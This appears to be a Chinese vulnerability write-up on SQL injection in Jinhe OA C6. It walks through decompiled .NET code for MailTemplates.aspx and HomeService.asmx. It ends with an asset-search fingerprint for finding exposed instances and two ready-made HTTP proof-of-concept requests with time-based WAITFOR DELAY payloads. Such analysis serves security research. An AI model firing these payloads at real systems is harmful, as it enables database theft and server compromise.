金和oa-MailTemplates.aspx以及HomeService.asmx的sql注入漏洞分析
漏洞简介
金和OA C6 MailTemplates.aspx以及MailTemplates.aspx接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限.
分析前提
首先将bin目录下的所有.dll文件在dnSpy中打开
在dnSpy中的程序集资源管理器会得到如下的目录列表
这些目录列表就是我们访问不同路由对应的不同目录文件
例如上面路由,你访问的是/Jhsoft.Web.login/PassWordNew.aspx
,那么对应到目录中就是如下
在Jhsoft.Web.login
下有一个Jhsoft.Web.login.dll
进入Jhsoft.Web.login
中会有一个PassWordNew
类
注意的是:使用dnSpy反编译之后的代码是C#语言
MailTemplates.aspx漏洞分析
接着我们来到JHSoft.Web.Mail
下的MailTemplates
类中
在该类中有一个Page_Load方法,这是一个事件处理方法,当页面加载时会被调用。
protected void Page_Load(object sender, EventArgs e)
{
CultureInfo cultureInfo = (CultureInfo)this.Session["culture"];//获取Session中的culture的key值
this.htc = cultureInfo.Name + ".css";//将去获取到的cultureInfo对象的Name属性来构造一个CSS文件的名称,格式为<cultureName>.css。
this.InitText();//调用初始页面方法
if (base.Request.QueryString["tempID"] != null)
{//判断请求中的tempID是否为空,不为空这获取它的字符串格式赋值给this.TempID
this.TempID = base.Request.QueryString["tempID"].ToString();
}
if (!this.Page.IsPostBack && this.TempID != "")
{//判断页面是否是回发以及判断TempID属性是否为空,若不是回发以及TempID不为空就进入iniTemp方法中
this.iniTemp(this.TempID);
}
}
那么什么是回发呢,我们进入IsPostBack
中
分析:该方法定义了一个IsPostBack属性的get访问器,用于返回属性的值,this._requestValueCollection
是检测当前页面的请求集合是否为null,
this._isCrossPagePostBack
检测是否跨页面回发(一个页面提交表单到另一个页面)
this._pageFlags[8]
:_pageFlags
是一个字节数组,用于存储页面的状态标志。这里检查索引为8的位是否为false,this.ViewStateMacValidationErrorWasSuppressed
是检测视图状态验证码错误是否被抑制
ServerExecuteDepth
是当前页面执行的深度,如果等于0,表示没有嵌套的服务器端执行
this._fPageLayoutChanged
:检查页面布局是否发生了变化。
this.Context.Handler != null && base.GetType() == this.Context.Handler.GetType()
检查当前页面的HTTP处理程序是否已经设置,并且是否与基类(base
)的类型相同。
当满足上述的要求那么就返回true,反之就返回false
当然大家可能还是不理解什么是回发,回发就是页面不是第一次加载而是由用户操作引起的部分加载
也是说当我们直接访问这个页面那么就不是回发,在加上我们在请求中加上TempID 参数,就会执行iniTemp方法,我们进入该方法中
分析:该方法调用了GetTemplateObject
方法并将获取到的值给到Datatable
对象templateObject
,之后判断templateObject
是否为空以及其返回的结果的语句是否大于0,之后执行结果TemplateContent
和TemplateName
的值分别赋值给Text
和Value
CTRL
点击进入到GetTemplateObject
方法中
分析:该方法直接将获取到的tempID
拼接到了sql语句中,调用ExecSQLReDataTable
方法执行sql语句,接着就是一些错误的检验,最终返回结果
HomeService.asmx漏洞分析
首先我们进入到jhsoft.mobileapp
下的jhsoft.mobileapp.AndroidSevices
目录下的HomeService
类中的GetHomeInfo
方法
我们关注第32-33行
DiaryManagePro diaryManagePro = new DiaryManagePro();//创建一个DiaryManagePro对象
DataTable quickUserInfo = diaryManagePro.GetQuickUserInfo(userID);//调用GetQuickUserInfo方法获取与用户ID相关的快速用户信息
接着进入到GetQuickUserInfo
方法中
分析:该方法定义了一个进程名变量procedureName
将pt_GetQuickUserInfo
赋值给他,接着将我们的userCode
参数放入到paraValues
这个object数组中,之后调用ExecProcReDataTable
方法,该方法用于在数据库事务中执行存储过程
进入到ExecProcReDataTable
方法中
分析:该方法首先创建了一个dataTable
对象用于存储从数据库存储过程中检索到的数据。接着创建一个SqlDBOperator.ReturnMethord
类型的委托实例,并将当前类的ReturnDataTable
方法作为回调方法传递给它,之后调用Execproc
方法用于实际执行数据库存储过程并处理返回的数据。
接着首先到ReturnDataTable方法中
分析:该方法就是调用创建一个SqlDataAdapter
对象,它用于执行SqlCommand并填充数据到DataTable
。调用SqlDataAdapter
的Fill
方法,传入ReValue
作为参数。这里ReValue as DataTable
是一个类型转换操作,它尝试将ReValue
转换为DataTable
类型。
接着我们进入到Execproc
方法中
private object ExecProc(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult)
{
base.ClearErrorMessage();//清除之前的错误信息。
StackTrace stackTrace = new StackTrace(true);//创建一个StackTrace对象,该对象记录了当前线程的调用栈。
this.CallClassName = stackTrace.GetFrame(2).GetMethod().ReflectedType.FullName;//使用StackTrace对象获取调用栈的第三个帧,然后获取该帧的方法,并将其反射类型(即包含该方法的类)的全名赋值给CallClassName成员变量
this.CallMethodName = stackTrace.GetFrame(2).GetMethod().Name;//获取调用栈的第三个帧的方法名称,并赋值给CallMethodName成员变量。
if (this.bInTransaction)
{//检查是否处于事务中。
return this.ExecProcInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);//如果处于事物中就调用ExecProcInTrans方法,来执行存储过程,并返回结果。
}
return this.ExecProcNotInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);//如果不处于事务中就调用ExecProcNotInTrans方法,来执行存储过程,并返回结果。
}
ExecProcInTrans
和ExecProcNotInTrans
这两个方法的内容其实差不多
我们就来分析ExecProcInTrans
方法
private object ExecProcInTrans(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult)
{
base.ClearErrorMessage();//用于清除之前存储的错误信息。
//依次设置comm对象的CommandText、CommandType、CommandTimeout属性
this.comm.CommandText = ProcedureName;
this.comm.CommandType = CommandType.StoredProcedure;
this.comm.CommandTimeout = 90;
try
{
if (!this.OpenConn())
{//调用OpenConn方法尝试打开数据库连接,检测数据库连接是否成功
return -1;
}
this.SqlCommAddParameter(this.comm, ParaValues);//调用SqlCommAddParameter方法,为comm命令添加参数
ReValue = ReturnResult(this.comm, ReValue);//调用传入的ReturnResult委托,将comm命令对象和ReValue对象作为参数
}
catch (Exception e)
{
string errorSQL = "事务中,存储过程:" + this.comm.CommandText + " 参数信息:" + base.GetCommandParameter(this.comm, ParaValues);
base.SaveErrorMessage(e, errorSQL);
base.ClearReturnValue(ReValue);
}
return ReValue;
}
调用ReturnResult
方法就是将我们在数据库事务中执行存储过程的数据返回给Revalue(该方法在前面也已经解释过)最后完成对userID
快速查询获取用户信息操作
漏洞分析总结
这两次的漏洞成因都是因为没有对用户可以控制的参数内容进行相关过滤进而导致sql注入漏洞的形成
资产测绘
app="金和网络-金和OA"
MailTemplates.aspx漏洞复现
MailTemplates.aspx的poc
GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: you_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
成功延时3秒
HomeService.asmx漏洞复现
HomeService.asmx的poc
GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
成功延时5秒